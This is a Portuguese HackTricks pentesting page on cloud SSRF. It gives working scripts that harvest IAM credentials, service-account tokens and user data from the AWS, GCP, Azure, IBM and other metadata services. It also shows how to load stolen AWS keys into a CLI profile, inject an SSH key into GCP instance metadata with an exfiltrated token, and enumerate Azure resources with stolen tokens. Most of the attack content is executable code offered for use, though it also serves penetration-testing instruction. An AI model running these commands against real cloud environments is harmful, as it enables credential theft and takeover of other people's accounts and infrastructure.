hacktricks/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md

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# Cloud SSRF
<details>
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***
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## AWS
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### Abusando de SSRF no ambiente AWS EC2
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**O endpoint de metadados** pode ser acessado de dentro de qualquer máquina EC2 e oferece informações interessantes sobre ela. É acessível na URL: `http://169.254.169.254` ([informações sobre os metadados aqui](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
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Existem **2 versões** do endpoint de metadados. A **primeira** permite **acessar** o endpoint via requisições **GET** (então qualquer **SSRF pode explorá-lo**). Para a **versão 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), você precisa solicitar um **token** enviando uma requisição **PUT** com um **cabeçalho HTTP** e depois usar esse token para acessar os metadados com outro cabeçalho HTTP (então é **mais complicado de abusar** com um SSRF).
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{% hint style="danger" %}
Note que se a instância EC2 estiver impondo IMDSv2, [**de acordo com a documentação**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), a **resposta da requisição PUT** terá um **limite de salto de 1**, tornando impossível acessar os metadados EC2 de um contêiner dentro da instância EC2.
Além disso, **IMDSv2** também **bloqueará requisições para obter um token que incluam o cabeçalho `X-Forwarded-For`**. Isso é para prevenir que proxies reversos mal configurados possam acessá-lo.
{% endhint %}
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Você pode encontrar informações sobre os [endpoints de metadados na documentação](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). No seguinte script, algumas informações interessantes são obtidas a partir dele:
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```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
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elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
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fi
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printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
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echo ""
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echo "Account Info"
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eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
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echo ""
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echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
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done
echo ""
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echo "IAM Role"
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eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
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done
echo ""
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echo "User Data"
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# Search hardcoded credentials
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eval $aws_req "http://169.254.169.254/latest/user-data"
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echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
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```
Como exemplo de **credenciais IAM publicamente disponíveis** expostas, você pode visitar: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
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Você também pode verificar **credenciais de segurança EC2** públicas em: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
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Você pode então pegar **essas credenciais e usá-las com o AWS CLI**. Isso permitirá que você faça **qualquer coisa que a role tenha permissões** para fazer.
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Para tirar vantagem das novas credenciais, você precisará criar um novo perfil AWS como este:
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```
[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
Perceba o **aws\_session\_token**, ele é indispensável para o funcionamento do perfil.
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[**PACU**](https://github.com/RhinoSecurityLabs/pacu) pode ser usado com as credenciais descobertas para descobrir seus privilégios e tentar escalar privilégios
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### SSRF no AWS ECS (Container Service) credenciais
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**ECS**, é um grupo lógico de instâncias EC2 nas quais você pode executar uma aplicação sem ter que escalar sua própria infraestrutura de gerenciamento de cluster, pois o ECS gerencia isso para você. Se você conseguir comprometer um serviço rodando no **ECS**, os **endpoints de metadados mudam**.
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Se você acessar _**http://169.254.170.2/v2/credentials/\<GUID>**_ você encontrará as credenciais da máquina ECS. Mas primeiro você precisa **encontrar o \<GUID>**. Para encontrar o \<GUID> você precisa ler a variável **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** dentro da máquina.\
Você poderia conseguir ler isso explorando um **Path Traversal** para `file:///proc/self/environ`\
O endereço http mencionado deve fornecer o **AccessKey, SecretKey e token**.
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```bash
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curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
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```
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{% hint style="info" %}
Observe que **em alguns casos** você poderá acessar a **instância de metadados EC2** a partir do container (verifique as limitações de TTL do IMDSv2 mencionadas anteriormente). Nestes cenários, a partir do container, você poderia acessar tanto a função IAM do container quanto a função IAM do EC2.
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{% endhint %}
### SSRF para AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
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Neste caso, as **credenciais são armazenadas em variáveis de ambiente**. Portanto, para acessá-las, você precisa acessar algo como **`file:///proc/self/environ`**.
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Os **nomes** das **variáveis de ambiente interessantes** são:
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* `AWS_SESSION_TOKEN`
* `AWS_SECRET_ACCESS_KEY`
* `AWS_ACCES_KEY_ID`
Além disso, além das credenciais IAM, as funções Lambda também possuem **dados de evento que são passados para a função quando ela é iniciada**. Esses dados são disponibilizados para a função através da [interface de runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) e podem conter **informações sensíveis** (como dentro das **stageVariables**). Diferente das credenciais IAM, esses dados são acessíveis por SSRF padrão em **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
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{% hint style="warning" %}
Observe que as **credenciais lambda** estão dentro das **variáveis de ambiente**. Então, se o **rastreamento de pilha** do código lambda imprimir vars de ambiente, é possível **exfiltrá-las provocando um erro** no app.
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{% endhint %}
### URL SSRF para AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
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Nós recuperamos o `accountId` e `region` da API.
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```
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
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Em seguida, recuperamos o `AccessKeyId`, `SecretAccessKey` e `Token` da API.
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```
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
```markdown
Então usamos as credenciais com `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
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## GCP <a href="#id-6440" id="id-6440"></a>
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Você pode [**encontrar aqui a documentação sobre endpoints de metadados**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
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### URL SSRF para Google Cloud <a href="#id-6440" id="id-6440"></a>
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Requer o cabeçalho HTTP **`Metadata-Flavor: Google`** e você pode acessar o endpoint de metadados com as seguintes URLs:
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* http://169.254.169.254
* http://metadata.google.internal
* http://metadata
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Endpoints interessantes para extrair informações:
```
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```bash
# /project
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# Project name and number
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curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
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# Project attributes
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curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
# /oslogin
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# users
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curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
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# groups
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curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
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# security-keys
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curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
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# authorize
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curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
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# /instance
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# Description
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curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
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# Hostname
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curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
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# ID
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curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
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# Image
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curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
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# Machine Type
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curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
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# Name
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curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
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# Tags
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curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
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# Zone
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curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
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# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
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# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
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done
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# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
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done
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# K8s Attributtes
## Cluster location
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curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
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## Cluster name
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curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
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## Os-login enabled
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curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
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## Kube-env
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curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
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## Kube-labels
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curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
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## Kubeconfig
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curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
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# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
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# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
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```
Beta não requer um cabeçalho no momento (agradecimentos a Mathias Karlsson @avlidienbrunn)
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```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
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{% hint style="danger" %}
Para **usar o token de conta de serviço exfiltrado**, você pode simplesmente fazer:
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```bash
# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
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gcloud projects list
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# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
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gcloud projects list
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gcloud config unset auth/access_token_file
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```
{% endhint %}
### Adicionar uma chave SSH <a href="#id-3e24" id="id-3e24"></a>
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Extrair o token
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```
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
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Verifique o escopo do token
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```
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
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}
```
Agora insira a chave SSH.
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{% code overflow="wrap" %}
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```bash
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
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--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
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2022-12-13 22:52:41 +00:00
{% hint style="warning" %}
Não existem coisas como AWS Roles ou contas de serviço GCP, então não espere encontrar credenciais de bot de metadados
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{% endhint %}
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Documentação disponível em [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
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```
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
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http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
```
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em todo o seu conjunto tecnológico, de APIs a aplicativos web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
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## Azure <a href="#cea8" id="cea8"></a>
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### Azure VM
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[**Documentação** aqui](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
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* **Deve** conter o cabeçalho `Metadata: true`
* **Não deve** conter um cabeçalho `X-Forwarded-For`
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{% tabs %}
{% tab title="Bash" %}
{% code overflow="wrap" %}
```bash
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
```
{% endcode %}
{% endtab %}
{% tab title="PS" %}
```bash
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# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
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## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
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# Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
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```
{% endtab %}
{% endtabs %}
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### Azure App Service
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Do **env** você pode obter os valores de `IDENTITY_HEADER` _e_ `IDENTITY_ENDPOINT`. Que você pode usar para coletar um token para se comunicar com o servidor de metadados.
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Na maioria das vezes, você deseja um token para um destes recursos:
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* [https://storage.azure.com](https://storage.azure.com/)
* [https://vault.azure.net](https://vault.azure.net/)
* [https://graph.microsoft.com](https://graph.microsoft.com/)
* [https://management.azure.com](https://management.azure.com/)
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```bash
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT
# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17
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# Get management token
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curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
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# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
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# API
# Get Subscriptions
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"
```
```powershell
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# API request in powershell to management endpoint
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$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
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$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
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}
(Invoke-RestMethod @RequestParams).value
# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
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$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
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}
(Invoke-RestMethod @RequestParams).value
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# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
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Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
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```
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
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{% hint style="warning" %}
Observe que na IBM, por padrão, os metadados não são ativados, então é possível que você não consiga acessá-los mesmo estando dentro de uma VM da IBM Cloud
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{% endhint %}
{% code overflow="wrap" %}
```bash
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
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# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
```
## Packetcloud <a href="#id-2af0" id="id-2af0"></a>
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2023-06-06 18:56:34 +00:00
Documentação disponível em [`https://metadata.packet.net/userdata`](https://metadata.packet.net/userdata)
2023-02-10 12:30:22 +00:00
## OpenStack/RackSpace <a href="#id-2ffc" id="id-2ffc"></a>
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(cabeçalho necessário? desconhecido)
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```
http://169.254.169.254/openstack
```
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## HP Helion <a href="#a8e0" id="a8e0"></a>
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(cabeçalho necessário? desconhecido)
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```
http://169.254.169.254/2009-04-04/meta-data/
```
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## Oracle Cloud <a href="#a723" id="a723"></a>
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```
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/
```
## Alibaba <a href="#id-51bd" id="id-51bd"></a>
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```
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
```
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## Kubernetes ETCD <a href="#c80a" id="c80a"></a>
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Pode conter chaves de API e IPs e portas internas
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```
curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true
```
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## Docker <a href="#ac0b" id="ac0b"></a>
2022-02-13 12:30:13 +00:00
```
http://127.0.0.1:2375/v1.24/containers/jsonSimple example
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
```
## Rancher <a href="#id-8cb7" id="id-8cb7"></a>
```
curl http://rancher-metadata/<version>/<path>
```
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder monitora sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm_source=referral&utm_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
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</details>